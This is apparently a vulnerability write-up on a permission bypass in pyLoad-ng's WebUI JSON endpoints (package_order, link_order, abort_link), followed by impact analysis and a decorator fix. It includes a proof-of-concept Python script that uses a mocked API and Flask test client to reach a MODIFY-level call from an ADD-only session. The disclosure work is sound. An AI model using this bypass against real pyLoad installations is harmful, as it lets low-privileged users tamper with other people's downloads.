pyLoad-ng’s WebUI exposes a permission bypass in its JSON endpoints. Low-privileged users with only ADD or DELETE access can reorder download packages and files or abort ongoing downloads. These actions invoke core API methods that demand MODIFY permissions, creating a clear mismatch.
This flaw hits version 0.5.0b3 at commit ddc53b3d7. pyLoad-ng, an open-source download manager for file hosters like Rapidgator and Mega, relies on granular role-based access control (RBAC). Its core API enforces permissions strictly—order_package and order_file need Perms.MODIFY (lines 1125 and 1137 in src/pyload/core/api/__init__.py), as does stop_downloads (line 1046). But the WebUI shortcuts this.
Exploitable Endpoints
Three JSON routes stand out:
/json/package_orderand/json/link_order: Decorated with@login_required("ADD")(lines 109-117 and 137-145 insrc/pyload/webui/app/blueprints/json_blueprint.py). They callapi.order_packageandapi.order_filewithout rechecking MODIFY perms./json/abort_link: Uses@login_required("DELETE")(lines 123-131), then triggersapi.stop_downloads.
Evidence points to this being unintended. Nearby endpoints like /json/move_package and /json/edit_package correctly use @login_required("MODIFY") (lines 188-196 and 202-217). The UI even lets admins assign per-user perms in settings.html (lines 184-190), signaling these boundaries matter.
Proof of Concept
A PoC mocks the API and Flask app to demonstrate the bypass. It creates an ADD-only user context, confirms the core API blocks order_package, then hits the WebUI endpoint—which succeeds.
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['permission'] = Perms.ADD
# POST to /json/package_order with pack_id=1, pos=2
# FakeApi.calls logs the unauthorized call succeeding
The code snippet above is adapted from the advisory; full execution logs the MODIFY call despite ADD-only auth.
Why This Matters
In single-user setups, impact stays low—anyone logged in likely has MODIFY anyway. But pyLoad-ng targets shared environments, like servers managing bulk downloads for teams. A rogue ADD/DELETE user disrupts queues by reordering (delaying critical files) or aborts downloads mid-transfer, wasting bandwidth and time.
Real-world exposure amplifies risk. pyLoad-ng often runs on VPS with port-forwarded WebUI. Weak passwords or leaked creds let attackers register, gain ADD perms, then escalate to DoS. No RCE, but persistent tampering erodes trust.
Fix seems straightforward: Swap decorators to @login_required("MODIFY"). Check the repo—ddc53b3d7 dates to recent dev; stable releases lag. Audit similar mismatches; frontend-backend perm drift is common in Flask apps with RPC-style APIs.
pyLoad-ng scores fair on security: Active GitHub (over 1k stars), but beta versioning signals immaturity. Users: Patch now or isolate WebUI behind VPN. Devs: Unit test endpoint perms against core API. This vuln underscores why RBAC needs end-to-end enforcement—no shortcuts.